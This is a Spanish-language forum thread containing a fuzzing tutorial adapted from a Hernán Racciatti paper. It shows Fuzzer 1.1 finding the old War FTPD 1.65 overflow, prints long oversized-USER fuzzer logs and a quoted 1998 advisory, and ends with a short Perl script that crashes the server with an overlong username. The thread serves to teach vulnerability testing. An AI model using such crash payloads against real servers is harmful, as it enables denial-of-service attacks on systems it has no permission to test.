+ Responder Tema
Página 1 de 2 1 2 ÚltimoÚltimo
Resultados 1 al 10 de 15
  1. #1
    OzX
    OzX está desconectado
    Usuario OzX es una cantidad desconocida en este momento
    Fecha de Ingreso
    09 dic, 07
    Edad
    57
    Mensajes
    22
    Thanks
    0
    Thanked 2 Times in 1 Post
    Poder de Reputación
    0

    Predeterminado Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    Propiedad de New-Bytes.net

    Basado en Paper de Hernán Marcelo Racciatti Sobre Fuzzer

    ¿Fuzzing, Fuzzers que es todo esto?

    [idea] Para comenzar, diremos que se conoce como “Fuzzing” a las diferentes técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.

    [idea] Las herramientas con capacidad de “Fuzzing”, a menudo son conocidas como “Fuzzers”, y dependiendo de la implementación que cada una de estas herramientas haga de las técnicas de “Fuzzing”, es probable que existan tipos que se ajusten mejor a cada una de las diferentes necesidades del researcher o profesional a cargo del testing (Protocolos / Networking, Application / WebApplication, etc.).

    [idea] Si bien es cierto que el concepto de “Fuzzing” es de ámbito general de acuerdo a lo mencionado, quizás no sea mala idea el que conozcas como funciona cada una de las herramientas a tu alcance, antes de decidir su tilización en alguno de tus proyectos personales.

    [idea] Pero imagino que probablemente exista quien aún no haya entendido a lo que me estoy refiriendo, por tanto me permitiré tomar el siguiente ejemplo: Supongamos que necesitamos conocer si una aplicación en particular posee algún tipo de Buffer Overflow, a fin de detectar este tipo de situación, un tester sencillamente podría generar datos de distintos tamaños y enviar estos a uno de los puntos de entrada existentes en la aplicación, con el objeto de observar su comportamiento ante estas pruebas o mejor dicho como estos requerimientos son manejados. Si el programa a testear falla en tal menester, esto significara dos cosas: que hay defectos que corregir, y que probablemente sea posible explotar la falla.

    [idea] De acuerdo a lo mencionado hasta aquí, podemos inferir que el principal uso del Fuzzing, es el de testear software (servicios, protocolos, aplicaciones, etc.) con el objeto de encontrar defectos de desarrollo o implementación. Este testing no solo puede (y debe) ser llevado a cabo como parte del ciclo de vida de un desarrollo, sino que también comprende un método excelente de testeo a ser aplicado como parte de pentest del tipo “BlackBox”. Debido a su relativa sencillez, estas técnicas a menudo poseen una relación costo beneficio altamente efectiva. A pesar de esto, el Fuzzing no reemplaza el testing manual o los métodos tradicionales de testeo de software y QA, este solo podrá proveernos de una serie de pruebas aleatorias que podrían mostrarnos solo una parte del
    problema.

    Fuzzing de Protocolos

    [idea] El “Fuzzing” de protocolos, no es muy diferente al “Fuzzing” de aplicación. Cada protocolo posee su propio set de parámetros y una estructura que a menudo puede ser testeada. Los “Fuzzers” basan parte de su tarea en la ventaja que les brinda el conocer exactamente como “debería” funcionar determinado protocolo basándose en los RFCs relacionados a tal o cual de ellos. De este modo, el Fuzzer sabe que debe esperar de cada una de las pruebas a las que someterá al protocolo a testear (o mejor dicho su implementación) y podrá alertar al tester cuando encuentre una respuesta que no ha podido ser manejada o ha sido manejada erróneamente.

    [idea] Pero ¿como hace realmente un Fuzzer para llevar a cabo su tarea? a fin de ejemplificar su operatoria, me basaré de un ejemplo que oportunamente publicara Sacha Faust, de [Solo usuarios registrados pueden ver los links. ] en un excelente paper que aprovecho a recomendar desde aquí, el cual se denomina “Web Application Testing with SPI Fuzzer”.

    [idea] Cuando se trabaja con fuzzing sobre HTTP, generalmente se intenta testear al menos cada uno de los siguientes aspectos del protocolo o su implementación:

    Método (GET / POST)
    Request-URI (Con posibilidad de testear CADA UNO de los parámetros que
    ellos manejan: resource path, resource file, resource file extension, resource and
    query delimiter, parameter name, parameter name value assignment, parameter
    value y parameter separator)
    Protocol Version (0.9, 1.0 y 1.1 mas la identificación de protocolo: HTTP y el
    delimitador: /)
    Header Fields (Aquí es posible testear Header name y su valor asociado)
    Cookies (Nombre y valor de cada cookie pueden ser fuzzeados en forma
    independiente)
    Post Data (Datos y Content-Length pueden ser fuzzeados)
    [idea] Para que quede un tanto mas claro, la idea detrás del fuzzing de protocolo http en este ejemplo, es básicamente la de parsear cada uno de los aspectos que componen el protocolo y testear mediante la generación de determinados requerimientos, cada uno de estos componentes en forma individual, a fin de identificar el modo en que la implementación maneja las excepciones o inclusive la alteración de tráfico real.

    [idea] El request HTTP citado a continuación, corresponde a un requerimiento real hecho por un browser a un sitio web determinado. Las partes dispuestas en color rojo, representan algunos de los datos/campos que tal como mencionáramos en el párrafo anterior podrían ser sometidos a “Fuzzing” en forma individual, a fin de observar su comportamiento:

    POST /Login.asp?validar=2 HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg,
    image/pjpeg, application/x-shockwave-flash, */*
    Referer: [Solo usuarios registrados pueden ver los links. ]
    Accept-Language: en-us
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
    5.0)
    Host: [Solo usuarios registrados pueden ver los links. ]
    Content-Length: 71

    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie:
    ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;xxxxxxxxxxx=C
    OUNTRYNAME=Argentina
    txtUsuario=User&txtPassword=Password
    El primer Acercamiento: Fuzzer 1.1

    [idea] Bien, ahora que conoces conceptualmente alguno de los aspectos más importantes en torno al Fuzzing, creo que es hora de dar nuestros primeros pasos en la utilización de alguna herramienta que implemente este tipo de técnicas.

    [idea] Una rápida búsqueda en Google, probablemente arroje una serie de páginas con links a algunas de las herramientas más populares. Algunos buenos ejemplos de estas, sin lugar a dudas sean: SPIKE 2.9 de Immunitysec, mielietools 1.0 de Sensepost, SPI Fuzzer de SPI Dynamics y Fuzzer 1.1 de Sergio “Shadown” Alvarez.

    [idea] A los efectos de ilustrar este artículo, he decidido utilizar mi preferido: Fuzzer 1.1 de Sergio “Shadown” Alvarez. Los motivos de esta elección son varios. En primer lugar, su código se encuentra disponible y se distribuye bajo GPL. En segundo lugar, es pequeño, sencillo, potente, rápido y esta escrito en Python .

    [idea] Antes de comenzar vamos a asegurarnos de que has obtenido lo necesario como para tener Fuzzer 1.1 funcionando en tu equipo de pruebas:

    Python 2.2:Puesto que Fuzzer 1.1, se encuentra desarrollado en Python, la instalación de este entorno resulta imprescindible

    pyOpenSSL:A fin de manejar en forma correcta el tráfico SSL, Fuzzer 1.1 requiere tener instaladas las librerías provistas por este wrapper de nombre pyOpenSSL . Su instalación es sumamente sencilla y no deberías tener problemas para tener funcionando esta en segundos.

    [Solo usuarios registrados pueden ver los links. ]



    [Solo usuarios registrados pueden ver los links. ]

    Fuzzer 1.1

    Descargar Fuzzer 1.1 [Solo usuarios registrados pueden ver los links. ]

    [idea] Fuzzer 1.1 es una sencilla y potente herramienta de “fuzzing” desarrollada por Sergio “Shadown” Alvarez . Esta se entrega con los protocolos FTP, SMTP y POP3 declarados por defecto y listos para usar, aunque debido a su concepción modular, el agregado de nuevos protocolos, debería resultar en una tarea sencilla pro medio de la edición del archivo de configuración “protocols.py”. Al descargar el tar.gz, no tendrás más que disponer de un directorio (fuzzer-1.1 por defecto) donde descomprimir sus archivos y comenzar a disfrutar de sus bondades.

    [idea] Ok, si todo ha salido bien, tu sistema contará a partir de este momento, con una instalación de Python, las rutinas SSL requeridas por la aplicación, y Fuzzer 1.1 lista para ser ejecutada. Para constatar que todo este funcionando, sencillamente abriremos una ventana de comandos (Ejecutar-->CMD.exe-->Enter), nos situaremos sobre el directorio donde hemos instalado Fuzzer 1.1, y ejecutaremos la siguiente línea:


    Código:
    C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py
    
    Luego de dar entrada al comando anterior, deberías estar viendo la ayuda de Fuzzer 1.1 tal como se muestra en la Imagen.



    [idea] Felicitaciones!!
    ya estas en condiciones de comenzar a realizar testear algunas aplicaciones y protocolos!, que ¿como haces esto? bien... la verdad es que la respuesta acuanto tus conocimientos de lenguajes de programación, protocolos, networking y seguridad, pero para no decepcionarte vamos a descargar un viejo programa FTP muy conocido por su popularidad y por la existencia de algunos Buffer Overflows encontrados en algunas de sus versiones, en particular en la 1.65, se trata de War FTP Daemon

    Descargar War FTPD Daemon 1.65[Solo usuarios registrados pueden ver los links. ]

    [idea] Ok, te diré lo que haremos ahora para poder probar la efectividad de Fuzzer 1.1 en la detección de posibles bugs en el software... Descargado e instalado este servidor FTP(Setup.exe), procederemos a ejecutarlo (war-ftpd.exe). Luego de dar OK en la pantalla de bienvenida, nos encargaremos de que el servicio FTP se ponga a correr... para esto, deberemos hacer click en el icono ilustrado con un rayo



    Ya es hora, abriremos ahora una nueva ventana de comando (CMD.EXE), ingresaremos al directorio donde hayamos instalado el Fuzzer, y procederemos a ejecutarlo con la siguiente línea de comando:

    Código:
    C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP
    


    [idea] Perfecto, luego de dar entrada a esta línea, Fuzzer se pondrá a trabajar creando y enviando paquetes, para luego evaluar su resultado .



    [idea] Ahora bien, puesto que el software que estamos testeando tiene un bug (Reportado y reparado hace mucho tiempo ya...) llegara un momento donde Fuzzer hará que WarFTPD se cierre inesperadamente, para luego anunciar un mensaje en pantalla en donde podrás leer:

    <***> Bug found!!! ;)) <***>


    [idea] Ahora Analizamos la Informacion que nos Entrega Fuzzer 1.1 .


    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A

    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////
    << 331 User name okay, Need password.

    -----------------------------------------------
    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER ////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////
    TCP socket unexpectedly closed when receiving
    <**> It was suppose to recv something, but recv nothing CHECKIT!
    <**>
    -----------------------------------------------
    Couldn't connect TCP socket
    <**> Bug found!!! ;)) <**>
    -> Sending: USER ///////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    /

    C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>
    [idea] Ahora si nos Damos Cuenta en un inicio del Analisis.

    << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
    220 Please enter your user name.

    >> USER A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A A A A A A A A A A A A
    A A A A A A A A A A A A A A A A
    << 331 User name okay, Need password.
    Please enter your user name.: Como nos muestra en todo el analisis, empieza a verificar si puede producirse un buffer overflow por la cantidad de caracteres en el user o password, y empieza a chequear cuantos, caracteres nececita para poder provocar esta vulnerabilidad.

    Couldn't connect TCP socket
    <**> Bug found!!! ;)) <**>
    -> Sending: USER ///////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    /
    Luego Detecta una Vulnerabilidad, por la cantidad de caracteres introducidos en el username. alrededor de 1000 caracteres.

    [idea] Tambien navegando por Internet encontre informacion que confirmo mi analisis sobre el Fuzzer.

    From: Aleph One <aleph1_at_DFW.DFW.NET>
    Date: Wed, 4 Feb 1998 12:49:42 -0600

    >From rootshell:

    ---------- Forwarded message ----------
    Windows 95/NT War FTPD 1.65 Buffer Overflow
    -------------------------------------------

    The popular War FTPD daemon for Windows 95 and NT contains a very bad buffer
    overflow allows for remote users to execute code on your stack or simply
    crash the ftp server.

    The overflow exists in many places including the USER and PASS phase. To
    exploit War FTPD you must connect to the FTP server (port 21) and issue the
    following command :

    USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string)

    or

    PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong)

    At this point the FTP daemon will crash. We at Rootshell are not Windows
    users and did not have the resources or time to write actual code to execute
    on the stack, however it IS possible.

    You may find War FTPD information at [Solo usuarios registrados pueden ver los links. ]
    Received on Feb 04 1998
    [idea] Esta vulnerabilidad fuese tenido alguna utilidad hace 9 años, porque fue descubierto en 1998, busque y busque y no encontre un exploit, con conocimiento basico sobre perl se pudo codear este exploit, lo cual hago mension aqui, es mi primer exploit, aunque no tiene ninguna utilidad para explotar algun ordenador que este corriendo este servicio, pero si de uso educacional.

    Una ves Analizado el Resultado del Fuzzer, y respaldado por el Bugtraq, ahora podemos crear nuestro exploit.

    Exploit War FTPD 1.65 Buffer Overflow By OzX [Perl]

    Código:
    #!/usr/bin/perl
    # ===============================================================================================
    #              War FTPD 1.65
    #                By OzX
    # ==============================================================================================
    # Referencia: [Solo usuarios registrados pueden ver los links. ]
    # Windows 95/NT War FTPD 1.65 Buffer Overflow
    # Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
    # [Solo usuarios registrados pueden ver los links. ]
    # #================================================================================================
    use strict;
    use Net::FTP;
    
    my $username = "////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////";
    my $pwd = "exploit";
    my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
    $ftp->login($username,$pwd) or die("Login incorrecto: $!");
    $ftp->quit or die("No se puede desconectar del servidor: $!");
    
    Bueno Aqui les Dejo un Video en donde Demuestra que el Exploit Funciona a la Perfeccion.

    [Solo usuarios registrados pueden ver los links. ]




    [idea] Saludos, y Ojala que entiendan mi Adaptacion, la creacion del Exploit y todo lo demas, la siguiente semana lo volvere a revisar para seguir expandiendolo ya que el tema da para mucho mas,tambien para que se paresca menos al paper original y se expanda, aunque de forma de introduccion es bastante bueno.

    Propiedad de New-Bytes.net
    Citar Citar   Share with Facebook

  2. The Following 2 Users Say Thank You to OzX For This Useful Post:

    jeann (03/01/2010), NET-10101111 (19/04/2010)

  3. #2
    Dr.SysCrack
    Visitante

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    Tremendo aporte oz bien explicado exelente ;D
    Citar Citar   Share with Facebook

  4. #3
    JKL
    JKL está desconectado
    Miembro JKL es una cantidad desconocida en este momento
    Fecha de Ingreso
    12 dic, 07
    Edad
    18
    Mensajes
    110
    Thanks
    0
    Thanked 3 Times in 2 Posts
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    Uyyyy buenisimo! , ahora rindo en 50 minutos en la escuela vuelvo a casa para leerlo , muchas gracias
    <br />Durante años, cientos o quizá miles de culos han ido dejando su impronta sobre su superficie. Como una gota de agua que, cayendo repetidamente sobre la roca, acaba labrando en ella un hoyo, las nalgas han logrado tallar la forma de un culo.<br />¿Es este culo el culo de Dios? ¿El que todos los culos contiene y a todos representa? ¿La mezcla de todos los culos crea un culo prototípico?
    Citar Citar   Share with Facebook

  5. #4
    Usuario [ . tzz . ] es una cantidad desconocida en este momento
    Fecha de Ingreso
    25 dic, 07
    Mensajes
    41
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    wena ! lo leere con pasiensia y lo practicare :)
    [Solo usuarios registrados pueden ver los links. ]
    Citar Citar   Share with Facebook

  6. #5
    Usuario seclencan es una cantidad desconocida en este momento
    Fecha de Ingreso
    25 dic, 07
    Edad
    19
    Mensajes
    97
    Thanks
    0
    Thanked 4 Times in 2 Posts
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    sigo diciendo lo mismo ¬¬ mis RESPETOS
    2) postea el analicis basico de un exploit con ese aprendi XD
    01110011 01101001 01100111 01110101 01100101 00100000 01100001 01110000 01110010 01100101 01101110 01100100 01101001 01100101 01101110 01100100 01101111 00100000 00101101 00101101 00101101 00101101 00101101 00101101 00101101 00101101 00101101 00101101 00111110
    Citar Citar   Share with Facebook

  7. #6
    Miembro Darksatire es una cantidad desconocida en este momento
    Fecha de Ingreso
    15 nov, 07
    Edad
    60
    Mensajes
    354
    Thanks
    0
    Thanked 1 Time in 1 Post
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    Interesante Ozx te pasate muchisimas gracias.

    Saludos.
    Citar Citar   Share with Facebook

  8. #7
    Miembro rufiopunkrock es una cantidad desconocida en este momento
    Fecha de Ingreso
    27 ene, 08
    Edad
    18
    Mensajes
    203
    Thanks
    0
    Thanked 4 Times in 4 Posts
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    esta mas que excelente esta explicacion, ya la habia leido y me llamo mucho la atencion la forma en que explicas y demas

    gracias por el aporte
    Citar Citar   Share with Facebook

  9. #8
    Administrador ek_col es una joya en bruto ek_col es una joya en bruto ek_col es una joya en bruto Avatar de ek_col
    Fecha de Ingreso
    13 nov, 07
    Edad
    82
    Mensajes
    166
    Nacionalidad
    Colombia!
    Thanks
    246
    Thanked 300 Times in 90 Posts
    Poder de Reputación
    110

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    [size=10pt][size=10pt][size=10pt]Viejo, te pasaste, esta buenisimo, gracias por tu aporte[/size][/size][/size]
    Citar Citar   Share with Facebook

  10. #9
    Root ElPerro solo puede aspirar a mejorar Avatar de ElPerro
    Fecha de Ingreso
    14 nov, 07
    Ubicación
    Río Gallegos, Santa Cruz, Argentina
    Edad
    90
    Mensajes
    272
    Thanks
    1
    Thanked 10 Times in 4 Posts
    Poder de Reputación
    0

    Predeterminado Re: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    Hernán Racciatti, un capo. Todavía tengo uno de sus viejos papers sobre SQL Injection...

    Excelente aporte OZX.

    Saludos!

    [Solo usuarios registrados pueden ver los links. ]

    Citar Citar   Share with Facebook

  11. #10
    Recien Llegado nahelem es una cantidad desconocida en este momento
    Fecha de Ingreso
    05 jun, 09
    Edad
    23
